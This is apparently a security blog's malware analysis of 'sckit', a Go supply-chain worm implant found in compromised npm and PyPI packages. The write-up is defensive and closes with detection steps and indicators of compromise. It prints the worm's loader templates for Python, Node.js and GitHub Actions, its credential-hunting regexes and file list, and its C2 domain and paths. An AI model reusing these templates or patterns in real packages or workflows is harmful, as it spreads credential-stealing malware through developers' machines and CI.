sckit: A New Go Implant Framework for Supply Chain Worms

SafeDep Team
12 min read

sckit, also known as the “supplychain.local worm”, is a Go implant framework that we found in two MemTensor packages on September 23, 2026. It runs on Linux, macOS, and Windows. It collects credentials from developer machines and from CI jobs. It receives signed tasks from a command and control (C2) server. It also contains templates to install itself in npm packages, Python packages, and GitHub Actions workflows. The code and infrastructure do not match a known malware family. The operator built a separate binary for each target, and registered the C2 domain eight days before the attack. We think that the operator will use this framework again.

We first saw sckit in the MemTensor npm and PyPI compromise. That post explains how the attacker stole the publish tokens and shipped the implant. This post covers the implant: the framework layout, the capabilities we can see, the limits of our analysis, and indicators that you can use to find sckit in other places.

Method

We used these sources:

  • The loader code in @memtensor/[email protected] (npm) and [email protected] (PyPI).
  • The decoded campaign configuration that each loader gives to the implant.
  • The Go build information in the binary (.go.buildinfo).
  • The Go function table (.gopclntab). The binaries have no Executable and Linkable Format (ELF) symbol table, but Go keeps function names in this table for stack traces. We parsed the table with a short Python script. It gave 7,259 functions for the npm build and 7,303 for the PyPI build. Some implant function names have no separate function entry, because the compiler copied their code into the functions that call them. We list those names too, and we checked each name in this post against the binary.
  • Strings in the binary.

Function names show intent, and the code can behave differently. So each capability in this post has one of three labels:

  • Confirmed means that we read the code that does it (loader or CI script).
  • Indicated means that function names and strings in the implant show it.
  • Unknown means that we have no evidence.

Evidence for a new framework

These facts come from the artifacts:

  • The Go module path is supplychain.local/campaign. It is not a public module, and GitHub code search finds no copy of it. The .local suffix identifies local network names and does not resolve through public DNS. So supplychain.local is a project name that the author chose, and the operator does not control a domain with this name.
  • The implant uses its own schema identifiers, such as sckit.control.v1 and sckit.admission.v1. Search finds these nowhere else.
  • We found no code or infrastructure in common with the Shai-Hulud worms or other publicly reported npm worms.
  • The registration date for the C2 parent domain skyleen[.]fr is September 15, 2026. An unrelated developer used this name in the past. We think that the operator registered the domain again after it expired.

This is our inference. The framework has many parts, a versioned protocol, and a configuration for each campaign. A single-use tool does not need these parts. The researcher who reported the npm compromise suggested that a language model wrote the tooling. The code style agrees with that idea, but we cannot prove it.

Build information

The build information is the same for all binaries except for the target OS and CPU:

# go.buildinfo, linux-amd64/sckit (npm 0.1.25)
go1.27.1
path supplychain.local/campaign/cmd/implant
mod supplychain.local/campaign (devel)
dep golang.org/x/crypto v0.55.0 h1:+KWHjbgOaAQ66dh/YlkZKHlz9ZUlq61AFirAR9ntP8M=
dep golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
build -buildmode=exe
build -compiler=gc
build -trimpath=true
build CGO_ENABLED=0
build GOARCH=amd64
build GOOS=linux

The build uses -trimpath and no cgo. This removes local file paths and gives one static binary with no external library dependencies. Each package has six builds, for linux, darwin, and windows on amd64 and arm64. Each binary is between 6.8 MB and 7.7 MB.

Framework layout

The internal/wire package uses Concise Binary Object Representation (CBOR) for C2 messages. The function table shows five packages under the module:

PackagePurpose (from function names)
cmd/implantEntry point and command-line modes
internal/agentMain runtime: credential collection, host profiling, spreading, state, cleanup
internal/wireC2 protocol: CBOR encoding, encryption, signatures, message parsing
internal/presentationOne function, Resolve. We do not know its purpose
internal/ciemitCI token capture. Only in the PyPI build

The implant has two command-line modes. The usage string names the first one:

# strings, linux-amd64/sckit (npm 0.1.25 and PyPI 2.0.34)
usage: sckit stage0 <-config path|-config64 value>
campaign runtime requires semi-nuclear
  • stage0 is the mode that runs on developer machines. Both loaders start this mode.
  • initial-ci-emit is the mode that runs in CI. Only the PyPI build has this string. The PyPI CI script downloads the implant and starts it in this mode. The MemOS post shows that script.

The second string shows that the runtime refuses to start unless the configuration profile is semi-nuclear. Both MemTensor configurations use this profile.

Differences between the two builds

The npm build and the PyPI build have 121 and 143 functions in the supplychain.local/campaign module. The PyPI build adds the internal/ciemit package:

// Recovered function names, internal/ciemit (PyPI 2.0.34 build only).
// These are names from .gopclntab, not source code.
ciemit.Prepare
ciemit.BestEffortCommand
ciemit.command
ciemit.commandWithAuthority
ciemit.bestEffort
ciemit.readSigned
ciemit.strictJSON
ciemit.checkJSONValue
ciemit.executableDigest
ciemit.boundedRead
ciemit.digest
ciemit.validString

The PyPI build also has five schema identifiers and one output marker for this CI mode. The npm build has none of them:

# strings, linux-amd64/sckit (PyPI 2.0.34 only)
sckit.initial-ci.v2
sckit.initial-ci-execution-context.v2
sckit.initial-ci-module-result.v2
sckit.initial-ci-producer-trust.v2
sckit.initial-ci-source-permit.v2
SCKIT_CI_RESULT_V2

The npm campaign did not need the CI mode in the implant, because the npm bridge script sent the token through stage0. We think that the operator selects the parts of the framework for each target and builds a new binary.

Campaign configuration

Each loader gives the implant one base64 JSON argument. The configuration uses the schema sckit.runtime.v1. This is the decoded configuration from the PyPI package. We removed the empty fields and kept one of the three C2 servers:

{
"schema": "sckit.runtime.v1",
"campaign_id": "memos-semi-nuclear",
"product": "memos",
"version": "2.0.34",
"channel": "MemoryOS/v*-release",
"profile": "semi-nuclear",
"root_public": "gZIXrn82xCVrNmG1fwKVB53ospCTIIwBiPOrSyG+DvE",
"stage0_digest": "pmBMOn4CHXalbt5yVGs7FTKmcMonkpAFTJFtefwPNWk",
"state_dir": "$HOME/.memos/.cache/runtime",
"inventory_roots": ["$HOME"],
"fronts": [
{
"base_url": "https://c747d139e7e9.skyleen.fr",
"control_path": "/24ffe6fe9644e7fc6ec8abd3/config",
"preflight_path": "/24ffe6fe9644e7fc6ec8abd3/status",
"result_path": "/24ffe6fe9644e7fc6ec8abd3/batch"
}
],
"not_after": 1792724380
}

The fields tell us how the operator uses one binary for many targets:

FieldMeaning
campaign_idName for the target. memos-semi-nuclear and cloud-openclaw-semi-nuclear
channelHow the implant arrived. For example, MemoryOS/v*-release or exact-ref-one-use-NPM_TOKEN,...
root_publicA public key. We think that the implant uses it to verify signed server messages
stage0_digestA hash. We think that it identifies the approved implant build
state_dirWhere the implant keeps its state on disk
inventory_rootsWhere the implant searches for files. $HOME in both campaigns
frontsThree C2 servers, each with a control, status, and result path
not_afterA Unix time. October 22 and 23, 2026 for the two campaigns. It looks like an expiry date

Capabilities

Execution on the host (confirmed)

The loaders start the implant as a separate process, with no output, and with the full process environment. The Node.js loader does this when the OpenClaw gateway starts and on each memory recall. The Python loader does this the first time that the library configures logging. The OpenClaw loader also gives the user’s prompt text to the implant in the environment variable SCKIT_EVENT_TEXT. The implant has a matching function, (*Runtime).eventText. So the implant can read the text that users send to their AI agent.

Credential collection (indicated)

The agent package has these functions:

// Recovered function names, internal/agent (both builds)
agent.credentials
agent.credentialPaths
agent.credentialFile
agent.readCredentialFile
agent.credentialsFromFile
agent.extractJSONCredentials
agent.environmentNames
agent.hasCredential
agent.artifacts
agent.artifactMatch
agent.supportedArtifactCategory

The binary contains the names of common credential files: .npmrc, .pypirc, .git-credentials, .netrc, id_rsa, id_ecdsa, id_ed25519, .vault-token, msal_token_cache, access_tokens.json, and access_tokens.db. The last three are token caches of the Azure and Google Cloud command-line tools. The binary also contains the strings credential-collector and artifact-collector, which look like names of collection modules.

The binary has two regular expressions. The first finds names of variables that hold secrets:

# strings, linux-amd64/sckit (npm 0.1.25)
(?i)(token|secret|password|passwd|passphrase|credential|auth|oauth|bearer|cookie|session|jwt|private[_-]?key|access[_-]?key|api[_-]?key|signing[_-]?key|client[_-]?secret|(^|[_-])pat($|[_-])|(^|[_-])key($|[_-])|(^|[_-])(database|db|redis|mongo|mongodb|amqp|rabbitmq|broker)[_-]?(url|uri|dsn)($|[_-]))

The second finds known token formats in text. It matches JSON Web Tokens and tokens for AWS, GitHub, GitLab, npm, PyPI, Hugging Face, HashiCorp Vault, Slack, Stripe, and SendGrid:

# strings, linux-amd64/sckit (npm 0.1.25)
(?i)(^|[^[:alnum:]_-])(eyJ[[:alnum:]_-]{8,}\.eyJ[[:alnum:]_-]{8,}\.[[:alnum:]_-]+|(AKIA|ASIA)[A-Z0-9]{16}|github_pat_[[:alnum:]_]+|gh[opusr]_[[:alnum:]]+|glpat-[[:alnum:]_-]+|npm_[[:alnum:]_-]+|pypi-[[:alnum:]_-]+|hf_[[:alnum:]]+|hvs\.[[:alnum:]_-]+|xox[abprs]-[[:alnum:]-]+|sk_live_[[:alnum:]_]+|SG\.[[:alnum:]_-]+\.[[:alnum:]_-]+)($|[^[:alnum:]_-])

Publish tokens for npm and PyPI are in the list. These are the credentials that the worm needs to spread.

CI token capture (confirmed)

In CI, a bridge script runs before the real publish step and gives the publish token to the implant. Then it stops the publish. The PyPI build has the ciemit package and the initial-ci-emit mode for this work. The MemOS post shows both bridge scripts and explains how they use BASH_ENV.

Spreading to other projects (indicated)

The agent package has functions to find repositories, prepare them, and publish:

// Recovered function names, internal/agent (both builds)
agent.findRepositories
agent.PrepareRemoteRepository
agent.PrepareRemoteRepositoryTarget
agent.prepareRemoteNode
agent.prepareRemotePython
agent.prepareRemoteWorkflow
agent.pythonImportPackage
agent.remoteSidecars
agent.remoteHashes
agent.copyRemoteFile
agent.writeRemoteFile
agent.runGit
agent.runGitWithIdentity
agent.recursivePublish

The binary contains three loader templates. They match these functions. The Python template runs the implant from an imported package:

# template string in linux-amd64/sckit (npm 0.1.25)
try:
import os as _o, pathlib as _p, platform as _pl, subprocess as _sp
_a = {"x86_64":"amd64","aarch64":"arm64","AMD64":"amd64","ARM64":"arm64"}.get(_pl.machine(), _pl.machine())
_b = _p.Path(__file__).resolve().parent / %q / (f"{_pl.system().lower()}-{_a}") / ("sckit.exe" if _o.name == "nt" else "sckit")
if _b.exists(): _sp.Popen([str(_b),"stage0","--config64",%q], stdin=_sp.DEVNULL,stdout=_sp.DEVNULL,stderr=_sp.DEVNULL,start_new_session=True)
except Exception:
pass

The Node.js template runs the implant from a bin/ directory:

// template string in linux-amd64/sckit (npm 0.1.25)
const binary = path.join(__dirname, "bin", os + "-" + arch, process.platform === "win32" ? "sckit.exe" : "sckit");

The GitHub Actions template runs the implant on each push:

# template string in linux-amd64/sckit (npm 0.1.25)
name: %s
on: [push]
jobs:
update:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- run: ./%s/linux-amd64/sckit stage0 --config64 %q

The file name runtime-update.yml is also in the binary. We think that it is the name of this workflow file. Other strings agree with the publish functions: GIT_AUTHOR_NAME=%s, --ignore-scripts, twine, poetry, and .sckit-copy-*.

The implant fills in the %q values at run time. So a new victim gets a new configuration, with a new campaign identifier and possibly new C2 servers. We do not know if the implant spreads by itself or only on a command from the operator. The signed leases in the C2 protocol suggest that the operator controls it.

Host profiling and victim filtering (indicated)

// Recovered function names, internal/agent (both builds)
agent.HostID
agent.hostProfile
agent.hostProfileIP
agent.hostProfileInterfaces
agent.hostProfileLanguages
agent.hostProfileTimezone
agent.hostProfileText
agent.hostPrivilegeHints
(*Runtime).languageTags
(*Runtime).inputMethodTags

The implant collects the host name, IP addresses, network interfaces, time zone, languages, and keyboard input methods. It also checks for administrator rights. The strings root-username, administrator-username, and windows-system-sid are in the binary. The environment variable SCKIT_INPUT_METHODS is also in the binary.

Three fields are for victim filtering:

# strings, linux-amd64/sckit (both builds)
geo_iso
deny_iso
ja4_deny

We think that geo_iso and deny_iso let the operator allow or block countries. JA4 is a method to identify Transport Layer Security (TLS) clients. ja4_deny probably lets the server reject known analysis tools or sandboxes. Language, time zone, and input method data can also help the operator skip some regions.

C2 protocol (indicated)

The wire package has the message types and the encryption:

// Recovered function names, internal/wire (both builds)
wire.Marshal
wire.Unmarshal
wire.GenerateX25519
wire.makeAEAD
wire.SealBound
wire.OpenBound
wire.Signed.Verify
wire.VerifyBinding
wire.VerifyHandshakeBinding
wire.(*Request).Sign
wire.Admission.Bytes
wire.ParseLease
wire.ParseManifest
wire.ParseAck
wire.ParseResponse
wire.ResultBytes

Protocol strings from the binary:

# strings, linux-amd64/sckit (both builds)
sckit.control.v1
sckit.admission.v1
sckit.module-result.v1
sckit.tombstone.v1
sckit/xchacha/v1
application/cbor
Idempotency-Key
lease_signing_pub
lease_signature
result_x25519_pub
max_activations
max_offline_until
host_bucket_range
one_shot
controller disposition
non-monotonic manifest
module digest mismatch

This is our reading of the protocol. The implant sends an admission request with its host profile. If the server accepts the host, it sends a signed lease. The lease limits how many times and for how long the implant can work (max_activations, max_offline_until). The server then sends a manifest of modules. The implant checks the digest of each module and rejects old manifests. It sends the results back, encrypted with a key from an X25519 key exchange and XChaCha20-Poly1305.

The implant checks server signatures. A researcher who runs a fake server cannot send it tasks without the operator’s signing key.

Remote modules (unknown)

The functions ParseModule, Execute, oneShotModule, and pendingModule show that the server sends modules to the implant. We do not know what these modules do. The C2 subdomains now resolve to 127.0.0.1, and we have no record of their traffic. So the full capability set of sckit is not in the binary, and it can change from one campaign to the next.

State and cleanup (indicated)

// Recovered function names, internal/agent (both builds)
(*StateStore).LoadOrCreate
(*StateStore).Write
(*StateStore).Cleanup
(*StateStore).Tombstone
agent.scheduleSelfDelete
agent.deleteExecutable

The implant keeps state in the state_dir from its configuration. It has functions to remove its state and its own binary. The sckit.tombstone.v1 schema suggests that it writes a marker to tell other copies not to run again on the same host.

What we do not know

  • What the server modules do.
  • Whether spreading is automatic or needs approval from the operator.
  • Whether there are victims other than MemTensor. GitHub code search finds no other copy of the loaders or templates. But code search only indexes default branches, and this operator used tags and short-lived branches.
  • How the implant uses root_public and stage0_digest. Our explanations in the configuration table are inferences.
  • The purpose of internal/presentation.Resolve.

Detection

On developer machines:

  • A process with the command line sckit stage0 --config64 <base64>.
  • A process environment that contains SCKIT_EVENT_TEXT.
  • A .sckit/ directory with <os>-<arch>/sckit binaries inside node_modules or site-packages.
  • The directories $HOME/.openclaw/.cache/runtime or $HOME/.memos/.cache/runtime. Other campaigns will probably use other directories under .cache/runtime.

In CI:

  • A step that writes BASH_ENV= to $GITHUB_ENV.
  • A build backend loaded from the repository (backend-path = ["."]) that you did not add.
  • Log lines that contain SCKit credential receipt, SCKIT_CI_RESULT_V2, or SCKIT_CI_OBSERVATION_V2.
  • A publish step that fails with no clear cause, followed by a package version that you did not publish.

In repositories:

  • A workflow file named runtime-update.yml that runs sckit stage0.
  • Files named lib/sckit.js, _stage0.py, _pypi_bridge.sh, sckit-publish-bridge.sh, or sckit_poetry_build.py.

In binaries:

  • The Go module path supplychain.local/campaign in the build information.
  • The schema identifiers in the indicators of compromise table below. They are unique to this framework.

Indicators of compromise

Implant binaries

Buildnpm campaign (cloud-openclaw-semi-nuclear)PyPI campaign (memos-semi-nuclear)
linux-amd64381ac6dc1715d9298fe81b2a53a11f7b7d78e361ee3a6619ad54f8c4b062cc18c1b0998347b489582bae7b7f4930f9831d9ef4b6bc150cfd488ee1a43272dd36
linux-arm64e077c387b223811064b7bbc5a55a0182fca9bf50894f949ff284d4be87d44b268f647f17a1934679c4095e21bee2b9bd83e28476603758bc91408a0c8443e3b4
darwin-amd6465faf8ccbcf5b34eb4f72c71bf82815fa9c1e2f947b9c898491540e866132c319de0d5b0ca184f71f630be5781d134998883a02d5d7bc65aeb9559d8f9efb364
darwin-arm64f8ccdd1da7dff1aef16377a2842bc7acf7c516e32122dd6e42dc4a4e57653fce5405e330507602e803f7dd6f2a9d4555aec8558ab222b51413594a962da6888a
windows-amd64 (.exe)56cd3416d2ec2aa7e7cec2a06010cf0b58eb09c0a5486809df52afeaca8f14be16de381deb978744535b10f68fe15165251374b86eef18ffc2c47f61ea673047
windows-arm64 (.exe)d6b3e77c36ee8017c9bf30d1da7218ec0ea843768d313eb8e35845c8a9b38a26f7c4014e284f3d56c452b8b222a287c54f73dc4a40a7e022e765ac8376362947

Framework strings

IndicatorWhere
supplychain.local/campaign/cmd/implantGo build information and function names. Not a domain. A DNS block has no effect
sckit.runtime.v1Loader configuration
sckit.control.v1, sckit.admission.v1, sckit.module-result.v1, sckit.tombstone.v1, sckit/xchacha/v1Implant strings
sckit.initial-ci.v2, sckit.initial-ci-execution-context.v2, sckit.initial-ci-module-result.v2, sckit.initial-ci-producer-trust.v2, sckit.initial-ci-source-permit.v2Implant strings (CI build)
usage: sckit stage0 <-config path|-config64 value>Implant strings
campaign runtime requires semi-nuclearImplant strings
SCKIT_EVENT_TEXT, SCKIT_INPUT_METHODS, SCKIT_INITIAL_CI_CHECKOUT_SHAEnvironment variables
SCKIT_CI_RESULT_V2, SCKIT_CI_OBSERVATION_V2, SCKit credential receipt acknowledged.CI log lines
runtime-update.ymlSpreading workflow name

Infrastructure

IndicatorNotes
skyleen[.]frRegistered 2026-09-15. Wildcard DNS to 127.0.0.1 on 2026-09-23
8a8acaf167b3, 0b48fafd6fbe, 266297c6df27 .skyleen[.]frC2 for cloud-openclaw-semi-nuclear
c747d139e7e9, 73376a079d87, d4f77a3a8cb0 .skyleen[.]frC2 for memos-semi-nuclear
10729e014d0e.skyleen[.]fr/eb57efaa7365698fc1e4decc/initial-ci-v2CI delivery for memos-semi-nuclear
URL paths /<24 hex>/config, /<24 hex>/status, /<24 hex>/batchC2 control, status, and results
URL paths /index/<64 hex>, /file/<64 hex>/<64 hex>, /observe/<64 hex>CI delivery

References

  • malware-analysis
  • supply-chain
  • github-actions
  • npm
  • pypi

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

The Agentic IDE Extension Blind Spot

The Agentic IDE Extension Blind Spot

Cursor can install most of the same extensions you had in Visual Studio Code, but not the same versions. Its Import VS Code Configuration step sends only the extension name, never the version. It...

Vignesh Naikoti
Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.